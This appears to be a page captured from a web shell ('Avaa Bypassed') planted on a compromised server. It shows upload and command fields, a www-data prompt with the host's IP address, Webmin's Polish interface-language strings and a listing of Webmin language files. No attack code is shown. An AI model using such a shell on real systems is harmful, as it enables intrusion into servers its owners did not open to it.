[ Avaa Bypassed ]




Upload:

Command:

www-data@3.144.134.101: ~ $
main_homepage=Strona główna
main_feedback=Poczta do serwisu..
main_switch=Przełącz użytkownika..
main_logout=Wyloguj się
main_version=Wersja $1 na $2 ($3)
main_title=Webmin $1 na $2 ($3)
main_title2=Webmin
main_title3=Webmin $1 ($2)
main_none=Nie masz prawa dostępu do żadnego z modułów Webmina.
main_skill=Poziom umiejętności
main_readonly=(Tryb tylko do odczytu)
main_return=Powrót do $1
main_unused=Nie-używane moduły
main_refreshmods=Odśwież moduły

link_essl=Moduł Perl Net::SSLeay wymagany do tworzenia połączeń HTTPS nie jest zainstalowany w Twoim systemie.

category_servers=Serwery
category_hardware=Sprzęt
category_system=System
category_webmin=Webmin
category_net=Sieć
category_syslet=Syslet
category_cluster=Klaster
category_info=Informacje

longcategory_servers=Moduły do konfiguracji www, e-mail, FTP i innych usług
longcategory_hardware=Moduły do konfiguracji drukarek, dysków i innych urządzeń
longcategory_system=Moduły dla użytkowników, systemów plików, zadań crona i innych ustawień systemowych
longcategory_webmin=Moduły do konfigurowania Webmina
longcategory_net=Moduły do konfiguracji sieci i usług sieciowych
longcategory_cluster=Moduły, które mogą zarządzać wieloma serwerami z jednego interfejsu
longcategory_info=Moduły, które wyświetlają informacje o Twoim systemie

header_webmin=Indeks Webmina
header_module=Indeks modułu
header_help=Pomoc..
header_config=Konfiguracja modułu
header_servers=Serwery Webmina

index=indeksu
yes=Tak
no=Nie
save=Zapisz
create=Utwórz
delete=Usuń
find=Znajdź
error=Błąd
error_previous=poprzednia strona
error_stack=Pokaż ślad stosu (stack trace)
error_file=Plik
error_line=Linia
error_sub=Funkcja
error_stackline=W pliku $1 w linii $2 wywołanie $3
efilewrite=Nieudany zapis do $1 : $2
efileclose=Nieudany zapis do $1 podczas zamykania : $2
efileopen=Nie udało się otworzyć $1 do zapisu : $2
default=Domyślnie
modify=Modyfikuj
reset=Resetuj
ok=OK
cancel=Anuluj
helpsearch=Szukaj dokumentacji
switch_remote_euser=Użytkownik Unixa $1 nie istnieje.
programname=Webmin
euserdbacl=Nie udało się odczytać ACL użytkownika : $1
euserdbacl2=Nie udało się zaktualizować ACL użytkownika : $1s
egroupdbacl=Nie udało się odczytać ACL grupy : $1
egroupdbacl2=Nie udało się zaktualizować ACL grupy : $1

chooser_title1=Wybierz plik..
chooser_title2=Wybierz katalog..
chooser_dir=Zawartość $1
chooser_ok=OK
chooser_date=Wybierz datę
chooser_eopen=Listing nie powiódł się : $1

users_title1=Wybierz użytkowników..
users_title2=Wybierz użytkownika..
users_sel=Wybrani użytkownicy
users_all=Wszyscy użytkownicy
users_ok=OK
users_cancel=Anuluj
users_clear=Czyść

groups_title1=Wybierz grupy..
groups_title2=Wybierz grupę..
groups_all=Wszystkie grupy
groups_sel=Wybrane grupy
groups_ok=OK
groups_cancel=Anuluj
groups_clear=Czyść

modules_title1=Wybierz moduły..
modules_title2=Wybierz moduł..
modules_sel=Wybrane moduły
modules_all=Wszystkie moduły
modules_ok=Ok
modules_cancel=Anuluj
modules_clear=Czyść

config_ecannot=Nie masz uprawnień do konfiguracji tego modułu
config_title=Konfiguracja
config_dir=modułu $1
config_header=Konfigurowalne opcje modułu $1
config_none=Brak
config_eaccess=Nie masz uprawnień dostępu do tego modułu
config_err=Nie udało się zapisać konfiguracji
config_nochange=Nie zmieniaj
config_setto=Ustaw na
config_ewebmin=Parametr typu 14 działa tylko w Webminie

help_err=Nie mogę wyświetlić pomocy
help_epath=Nie podano lub podano nieprawidłową ścieżkę dostępu do pomocy
help_efile=Nie mogę przeczytać zbioru pomocy $1
help_eheader=Brak sekcji <header>
help_einclude=Nie mogę włączyć $1
help_eif=$1 błąd : $2
help_eexec=$1 błąd : $2

referer_title=Uwaga niebezpieczeństwo!
referer_warn=<b>Uwaga!</b> Webmin wykrył, że program $2 jest dowiązany do URL-a $1 znajdującego się poza serwerem Webmina. Może to być próba podstępnego zmuszenia twojego serwera do wykonania niebezpiecznego polecenia.
referer_warn_unknown=<b>Uwaga!</b> Webmin wykrył, że program $1 jest dowiązany do nieznanego URL-a znajdującego się poza serwerem Webmina. Może to być próba podstępnego zmuszenia twojego serwera do wykonania niebezpiecznego polecenia.
referer_fix1=Jeśli jest to uzasadnione połączenie, możesz pozwolić na połączenia z  tego URL w następujący sposób: <ul><li>Zaloguj się do Webmina.<li>Przejdź do modułu <b>Konfiguracja Webmina</b>.<li>Kliknij na ikonę Zaufane odnośniki.<li>Wprowadź nazwę komputera $1 do pola <b>Zaufane witryny</b>, i kliknij <b>Zapisz.</b></ul>
referer_fix2=Możesz też tak skonfigurować webmina aby zezwalał na to połączenie używając wiersza poleceń: <ul><li>Zaloguj jako <tt>root</tt> i edytuj plik <tt>/etc/webmin/config</tt>.<li>Dodaj linię <tt>referers=$1</tt> na końcu pliku, lub jeśli wiersz <tt>referers</tt> już istnieje - dodaj do niej <tt>$1</tt>.<li>Zapisz plik.</ul>
referer_fix3u=Upewnij się, że twoja przeglądarka jest skonfigurowana do wysyłania referrera, aby mógł być on zweryfikowany przez Webmina.
referer_fix2u=Możesz też tak skonfigurować webmina aby zezwalał na połączenia z nieznanych odsyłaczy w następujący sposób:<ul><li>Zaloguj się jako <tt>root</tt> i edytuj plik <tt>/etc/webmin/config</tt>.<li>Odnajdź wiersz <tt>referers_none=1</tt> i zmień go na <tt>referers_none=0</tt>.<li>Zapisz plik.</ul>

session_header=Logowanie do Webmina
session_mesg=Musisz podać nazwę użytkownika i hasło, aby zalogować się do serwera Webmina na $1.
session_mesg2=Musisz podać nazwę użytkownika i hasło aby się zalogować.
session_user=Nazwa użytkownika
session_pass=Hasło
session_twofactor=Token dwustopniowy
session_login=Zaloguj się
session_clear=Wyczyść
session_failed=Nie udało się zalogować. Spróbuj ponownie.
session_twofailed=Dwustopniowe uwierzytelnianie nie powiodło się : $1
session_logout=Logowanie zakończone pomyślnie. Użyj poniższego formularza, aby zalogować się ponownie.
session_timed_out=Sesja wygasła po $1 minutach braku aktywności.
session_save=Zapamiętaj mnie

pam_header=Zaloguj do Webmina
pam_mesg=Musisz odpowiedzieć na poniższe pytanie aby zalogować się do serwera Webmina na $1.
pam_mesg2=Musisz odpowiedzieć na poniższe pytanie aby się zalogować.
pam_login=Kontynuuj
pam_restart=Uruchom ponownie

acl_root=Katalog główny dla wyboru pliku
acl_otherdirs=Inne widoczne katalogi
acl_nodot=Ukrywać pliki i katalogi, których nazwa rozpoczyna się kropką?
acl_home=Katalog domowy użytkownika
acl_uedit=Użytkownicy widoczni przy wyborze użytkownika
acl_uedit_all=Wszyscy
acl_uedit_none=Żaden
acl_uedit_only=Wybrani
acl_uedit_except=Wszyscy oprócz
acl_uedit_uid=Użytkownicy o UID-ach z zakresu
acl_uedit_group=Użytkownicy o grupie
acl_gedit=Grupy widoczne przy wyborze grupy
acl_gedit_all=Wszystkie
acl_gedit_none=Żadna
acl_gedit_only=Wybrane
acl_gedit_except=Wszystkie oprócz
acl_gedit_gid=Grupy o GID-ach z zakresu
acl_feedback=Może wysyłać e-maile?
acl_feedback2=Tak
acl_feedback1=Tak, ale bez plików konfiguracyjnych
acl_feedback0=Nie
acl_feedback3=Tak, z plikami konfiguracyjnymi
acl_rpc=Akceptować połączenia RPC?
acl_rpc2=Tylko dla <tt>root</tt> lub <tt>admin</tt>
acl_rpc1=Tak
acl_rpc0=Nie
acl_readonly2=Użytkownik jest w trybie demo?
acl_readonlyyes=Tak (Niektóre moduły mogą być niedostępne)
acl_negative=Przyznać użytkownikowi nowe uprawnienia modułu?
acl_fileunix=Przeglądaj pliki jako użytkownik Unix
acl_sameunix=Taki sam jak login do Webmina
acl_webminsearch=Pokazywać pole wyszukiwania?

month_1=Styczeń
month_2=Luty
month_3=Marzec
month_4=Kwiecień
month_5=Maj
month_6=Czerwiec
month_7=Lipiec
month_8=Sierpień
month_9=Wrzesień
month_10=Październik
month_11=Listopad
month_12=Grudzień

day_0=Niedziela
day_1=Poniedziałek
day_2=Wtorek
day_3=Środa
day_4=Czwartek
day_5=Piątek
day_6=Sobota

smonth_1=Sty
smonth_2=Lut
smonth_3=Mar
smonth_4=Kwi
smonth_5=Maj
smonth_6=Cze
smonth_7=Lip
smonth_8=Sie
smonth_9=Wrz
smonth_10=Paź
smonth_11=Lis
smonth_12=Gru

sday_0=Ni
sday_1=Po
sday_2=Wt
sday_3=Śr
sday_4=Cz
sday_5=Pi
sday_6=So

emodule=Dostęp zabroniony : Użytkownik $1 nie ma praw do korzystania z modułu $2
emodulecheck=Moduł $1 nie jest dostępny dla Twojego systemu
elock_tries2=Przez $2 minut nie udało się zablokować pliku $1. Ostatni błąd : $3

skill_high=Ekspert
skill_medium=Przeciętny
skill_low=Nowicjusz

feedback_title=Opinie o Webminie
feedback_desc=Ten formularz pozwala raportować błędy i zgłaszać sugestie do programistów Webmina dotyczące dowolnych problemów lub brakujących funkcji które odnalazłeś. Kiedy przycisk Wyślij zostanie kliknięty, szczegóły wprowadzone do formularza zostaną wysłane do $1.
feedback_desc2=Ta opinia zostanie wysłana do programisty Webmina, nie do Twojego administratora, ISP lub firmy hostingowej. Prosimy o pisanie opinii w języku angielskim, nawet jeśli obecnie używasz Webmina w innym języku.
feedback_header=Szczegóły opinii
feedback_name=Twoje imię
feedback_email=Twój e-mail
feedback_module=Moduł, którego dotyczy opinia
feedback_all=Wszystkie moduły
feedback_text=Opis problemu lub sugestii
feedback_os=Dołączyć szczegóły systemu operacyjnego?
feedback_osdesc=Jeśli ta opcja zostanie wybrana, wiadomość z opinią będzie zawierała nazwę i wersję Twojego systemu operacyjnego.
feedback_config=Dołączyć konfigurację modułu?
feedback_configdesc=Jeśli ta opcja zostanie wybrana, wiadomość z opinią będzie zawierała konfigurację modułu, którego dotyczy oraz and the treść każdego pliku konfiguracyjnego, który używa moduł. Na przykład, jeśli opinia dotyczy modułu <i>Użytkownicy i grupy</i>, pliki <tt>/etc/passwd</tt> i <tt>/etc/shadow</tt> zostaną wysłane.
feedback_attach=Inne pliki do dołączenia
feedback_send=Wyślij opinię
feedback_mailserver=Wyślij przez serwer SMTP
feedback_mailserver_def=Lokalny program sendmail
feedback_err=Nie udało się wysłać opinii
feedback_emodule=Wybrałeś opcję dołączania konfiguracji modułu, ale nie wybrałeś modułu.
feedback_emodule2=Wybrany moduł nie istnieje
feedback_econfig=Nie masz pełnego dostępu do wybranego modułu.
feedback_via=Wyślij opinię do $1 przez serwer SMTP $2
feedback_prog=Wyślij opinię do $1 używając programu sendmail $2
feedback_esend=Nie udało się wysłać opinii przez program sendmail lub lokalny serwer SMTP.
feedback_to=Wyślij opinię na adres
feedback_enoto=Nie wprowadzono adresu, na który wysłać opinię
feedback_ecannot=Nie masz uprawnień do wysyłania opinii
feedback_ecannot2=Nie masz uprawnień do wysyłania opinii zawierających pliki konfiguracyjne

progress_size2=Pobieranie $1 ($2) ..
progress_nosize=Pobieranie $1 ..
progress_datan=Pobrano $1 ($2 %)
progress_data2n=Pobrano $1
progress_done=.. pobieranie ukończone.
progress_incache=Znaleziono $1 w cache'u ..

readparse_cdheader=Brakuje nagłówka Content-Disposition
readparse_enc=Oczekiwane kodowanie form-data, ale otrzymano kodowanie normalne
readparse_max=Dane przekroczyły maksymalny rozmiar $1 bajtów

password_expired=Twoje hasło wygasło i musi zostać wybrane nowe.
password_temp=Musisz wybrać nowe hasło aby zastąpić logowanie tymczasowe.
password_header=Wybierz nowe hasło
password_user=Nazwa użytkownika
password_old=Aktualne hasło
password_new1=Nowe hasło
password_new2=Powtórz nowe hasło
password_ok=Zmień
password_clear=Wyczyść
password_done=Twoje hasło zostało zmienione. Możesz teraz <a href='$1'>zalogować się ponownie</a> przy użyciu nowego hasła.
password_err=Zmiana hasła nie powiodła się
password_euser=Twój login nie został odnaleziony w pliku hasła!
password_eold=Aktualne hasło jest nieprawidłowe
password_enew1=Nie wprowadzono nowego hasła
password_enew2=Twoje nowe hasła nie pasują do siebie
password_epam=Błąd PAM : $1
password_emodpam=Moduł Perl Authen::PAM wymagany do zmiany hasła nie jest zainstalowany!
password_enewpass=Nowe hasło nie jest dozwolone : $1

ui_mandatory=To pole jest obowiązkowe
ui_checkmandatory=Nic nie zostało wybrane
ui_errors=Wystąpiło wiele błędów :
ui_nothing=Nic nie wpisano
ui_searchcol=Znajdź wiersze, które
ui_searchfor=Zawiera tekst
ui_searchok=Szukaj
ui_selall=Wybierz wszystko.
ui_selinv=Odwróć wybór.
ui_edate=Nieprawidłowa data
ui_etime=Nieprawidłowy czas
ui_paging=Pokazuj wiersze $1 do $2 z $3
ui_rowlabel=$2 w wierszu $1 :
ui_filterbox=Wpisz filtr..

header_statusmsg=$1 zalogowany do $2 $3 na $4 ($5)

uptracker_title=Wysyłanie pliku
uptracker_file=Nazwa pliku
uptracker_size=Rozmiar
uptracker_pc=Postęp
uptracker_eid=Nie określono ID uploadu
uptracker_eid2=ID uploadu jest niewłaściwe!
uptracker_of=$1 z $2

wsearch_title=Szukaj $1
wsearch_modt=Moduł
wsearch_mtitle=Nazwa modułu
wsearch_what=Pasująca strona
wsearch_type=Typ dopasowania
wsearch_mod=moduł $1
wsearch_config_webmin=Konfiguracja modułu Webmina
wsearch_config_usermin=Preferencje Usermina
wsearch_help=Pomoc
wsearch_inmod=W $1
wsearch_text=Tekst interfejsu użytkownika
wsearch_esearch=Nie wprowadzono niczego do wyszukania.
wsearch_enone=Nie znaleziono strony lub modułu Webmina pasującego do $1.
wsearch_on=(Na $1)
wsearch_helpfor=Pomoc dla <i>$1</i>
wsearch_htext=Pasujący tekst
wsearch_htype=Źródło
wsearch_hcgis=Odnośniki
wsearch_type_mod=Nazwa modułu
wsearch_type_config=Konfiguracja
wsearch_type_help=Pomoc
wsearch_type_text=Interfejs użytkownika
wsearch_type_dir=Moduł URL
wsearch_hmod=Moduł
wsearch_moddir=URL /$1/
wsearch_searching=Wyszukiwanie $1 . .
wsearch_found=znaleziono $1 pozycji :

sql_emysqldriver=Nie udało się załadować sterownika MySQL DBI
sql_emysqlconnect=Nie udało się połączyć z bazą MySQL : $1
sql_epostgresqldriver=Nie udało się załadować sterownika PostgreSQL DBI
sql_epostgresqlconnect=Nie udało się połączyć z bazą PostgreSQL : $1
sql_eldapdriver=Nie udało się załadować modułu Perla LDAP
sql_eldapconnect=Nie udało się połączyć z serwerem LDAP $1
sql_eldaptls=Nie udało się uruchomić szyfrowania TLS dla LDAP : $1
sql_eldaplogin=Nie udało się zalogować do serwera LDAP jako $1 : $2

Filemanager

Name Type Size Permission Actions
af File 6.61 KB 0644
af.auto File 7.85 KB 0644
ar File 18.71 KB 0644
ar.auto File 787 B 0644
be.auto File 21.68 KB 0644
bg File 9.83 KB 0644
bg.auto File 10.45 KB 0644
ca File 14.48 KB 0644
ca.auto File 706 B 0644
cs File 13.96 KB 0644
cs.auto File 1012 B 0644
da File 13.66 KB 0644
da.auto File 573 B 0644
de File 15.1 KB 0644
de.auto File 390 B 0644
el File 16.96 KB 0644
el.auto File 6.62 KB 0644
en File 13.91 KB 0644
es File 15.14 KB 0644
es.auto File 425 B 0644
eu File 11.85 KB 0644
eu.auto File 2.79 KB 0644
fa File 14.04 KB 0644
fa.auto File 6.38 KB 0644
fi File 10.44 KB 0644
fi.auto File 4.62 KB 0644
fr File 10.98 KB 0644
fr.auto File 5.46 KB 0644
he File 2.44 KB 0644
he.auto File 13.55 KB 0644
hr.auto File 15.04 KB 0644
hu File 9.36 KB 0644
hu.auto File 6.66 KB 0644
it File 15.08 KB 0644
ja File 17.49 KB 0644
ja.auto File 413 B 0644
ko File 12.35 KB 0644
ko.auto File 3.27 KB 0644
lt File 6.77 KB 0644
lt.auto File 8.29 KB 0644
lv.auto File 15.11 KB 0644
ms File 13.49 KB 0644
ms.auto File 1.14 KB 0644
mt.auto File 15.18 KB 0644
nl File 13.67 KB 0644
nl.auto File 1.33 KB 0644
no File 13.85 KB 0644
no.auto File 214 B 0644
pl File 13.81 KB 0644
pl.auto File 1.06 KB 0644
pt File 13.19 KB 0644
pt.auto File 2.11 KB 0644
pt_BR File 7.1 KB 0644
pt_BR.auto File 8.24 KB 0644
ro File 9.69 KB 0644
ro.auto File 5.22 KB 0644
ru File 17.21 KB 0644
ru.auto File 4.05 KB 0644
sk File 8.47 KB 0644
sk.auto File 6.48 KB 0644
sl.auto File 14.74 KB 0644
sv File 2.31 KB 0644
sv.auto File 12.26 KB 0644
th File 4.92 KB 0644
th.auto File 18.93 KB 0644
tr File 2.81 KB 0644
tr.auto File 12.12 KB 0644
uk File 13.95 KB 0644
uk.auto File 6.41 KB 0644
ur.auto File 18.41 KB 0644
vi.auto File 17.28 KB 0644
zh File 9.33 KB 0644
zh.auto File 4.26 KB 0644
zh_TW File 6.42 KB 0644
zh_TW.auto File 6.67 KB 0644